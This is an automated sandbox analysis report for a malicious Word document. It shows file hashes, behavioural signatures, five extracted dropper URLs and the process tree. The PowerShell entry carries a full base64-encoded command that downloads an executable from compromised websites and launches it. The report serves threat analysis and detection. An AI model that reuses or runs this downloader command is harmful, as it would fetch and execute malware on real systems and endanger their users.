Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 09:23

General

  • Target

    a4d4d01a3ae8bcb57903e4429838c9f1_JaffaCakes118.doc

  • Size

    171KB

  • MD5

    a4d4d01a3ae8bcb57903e4429838c9f1

  • SHA1

    87eddd4bdb33ba4da68a3afb6dca5f4a50597c4e

  • SHA256

    5d405365644b1fe72cf334ce68fed86b295cff563010c02d0035a001fea71ce6

  • SHA512

    838c527c80fd94c36a0b072ad894f67978ca9ee64a13952c2aafb09b6705a015679724877b57ca8b00fab64e3e00e44c6cfe8eb7275c5b8754818538a11fcc73

  • SSDEEP

    3072:S4PrXcuQuvpzm4bkiaMQgAlSs5RA+0wk3RQ:TDRv1m4bnQgISsrAdwk3RQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://eldiosstore.com/css/qpfv_e_y3lk0sp6i/

exe.dropper

http://luckyme247.com/wp-admin/qawpw_v1_ghe1wmzxzc/

exe.dropper

http://vandamebuilders.com/wp-admin/e2ky_18j8_wn4v/

exe.dropper

http://deservingveterans.com/wp-admin/fy_4bqe_zu6ew/

exe.dropper

http://csmbuildersllc.com/wp-admin/teqvm_n0yai_84/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a4d4d01a3ae8bcb57903e4429838c9f1_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4344
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABLAEUAQwBOAEMAbgBtAGMAPQAnAEIAWABKAE0ASgBnAGgAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIASQBUAHkAcABgAFIAYABvAHQAbwBgAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVgBPAFoATABNAG8AcAB3ACAAPQAgACcANQA0ADMAJwA7ACQATwBVAEwASwBBAGcAZABvAD0AJwBOAEkAQwBJAEEAZgBjAGUAJwA7ACQASQBBAE0AUABMAGIAYQBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABWAE8AWgBMAE0AbwBwAHcAKwAnAC4AZQB4AGUAJwA7ACQAVgBYAFoAQwBKAGYAeQBvAD0AJwBJAEUAVABEAEsAegBoAGgAJwA7ACQAVgBHAFMAVwBQAGkAawBvAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcARQBCAEMATABpAEUAbgB0ADsAJABFAEcATgBMAE0AZgB5AGMAPQAnAGgAdAB0AHAAOgAvAC8AZQBsAGQAaQBvAHMAcwB0AG8AcgBlAC4AYwBvAG0ALwBjAHMAcwAvAHEAcABmAHYAXwBlAF8AeQAzAGwAawAwAHMAcAA2AGkALwAqAGgAdAB0AHAAOgAvAC8AbAB1AGMAawB5AG0AZQAyADQANwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQBhAHcAcAB3AF8AdgAxAF8AZwBoAGUAMQB3AG0AegB4AHoAYwAvACoAaAB0AHQAcAA6AC8ALwB2AGEAbgBkAGEAbQBlAGIAdQBpAGwAZABlAHIAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAyAGsAeQBfADEAOABqADgAXwB3AG4ANAB2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGUAcgB2AGkAbgBnAHYAZQB0AGUAcgBhAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZgB5AF8ANABiAHEAZQBfAHoAdQA2AGUAdwAvACoAaAB0AHQAcAA6AC8ALwBjAHMAbQBiAHUAaQBsAGQAZQByAHMAbABsAGMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHQAZQBxAHYAbQBfAG4AMAB5AGEAaQBfADgANAAvACcALgAiAFMAYABwAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBUAEIARwBaAHoAdABvAD0AJwBaAFAASQBHAEcAYgBpAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAVQBRAFgAVwBmAG0AaQAgAGkAbgAgACQARQBHAE4ATABNAGYAeQBjACkAewB0AHIAeQB7ACQAVgBHAFMAVwBQAGkAawBvAC4AIgBkAE8AdwBuAEwAYABPAGAAQQBkAGYAaQBgAEwARQAiACgAJABZAFUAUQBYAFcAZgBtAGkALAAgACQASQBBAE0AUABMAGIAYQBsACkAOwAkAEkATABMAEcATABtAHEAdQA9ACcAWgBKAFkAQwBCAHQAYQBlACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQASQBBAE0AUABMAGIAYQBsACkALgAiAGwAZQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAyADgANwA2ADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGUAQQBgAFQARQAiACgAJABJAEEATQBQAEwAYgBhAGwAKQA7ACQATwBZAEEASgBVAHIAegB5AD0AJwBCAFgAUwBVAEQAagB5AHYAJwA7AGIAcgBlAGEAawA7ACQAUwBIAE8AUABGAHAAdABmAD0AJwBYAE8AUABHAEMAcQBsAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBDAFIATwBNAG8AagBzAD0AJwBIAE8AVQBTAEQAeABoAG0AJwA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4704

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TCD7A9B.tmp\iso690.xsl

          Filesize

          263KB

          MD5

          ff0e07eff1333cdf9fc2523d323dd654

          SHA1

          77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

          SHA256

          3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

          SHA512

          b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itxljz5h.lbe.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4344-7-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-22-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-4-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-5-0x00007FFF7E88D000-0x00007FFF7E88E000-memory.dmp

          Filesize

          4KB

        • memory/4344-8-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-20-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-9-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-0-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-11-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-12-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-13-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-10-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-14-0x00007FFF3C010000-0x00007FFF3C020000-memory.dmp

          Filesize

          64KB

        • memory/4344-15-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-16-0x00007FFF3C010000-0x00007FFF3C020000-memory.dmp

          Filesize

          64KB

        • memory/4344-17-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-19-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-21-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-3-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-23-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-6-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-18-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-34-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-35-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-56-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-1-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-590-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-2-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-501-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-565-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-566-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-567-0x00007FFF7E7F0000-0x00007FFF7E9E5000-memory.dmp

          Filesize

          2.0MB

        • memory/4344-586-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-587-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-589-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4344-588-0x00007FFF3E870000-0x00007FFF3E880000-memory.dmp

          Filesize

          64KB

        • memory/4704-82-0x00000194FA9D0000-0x00000194FA9F2000-memory.dmp

          Filesize

          136KB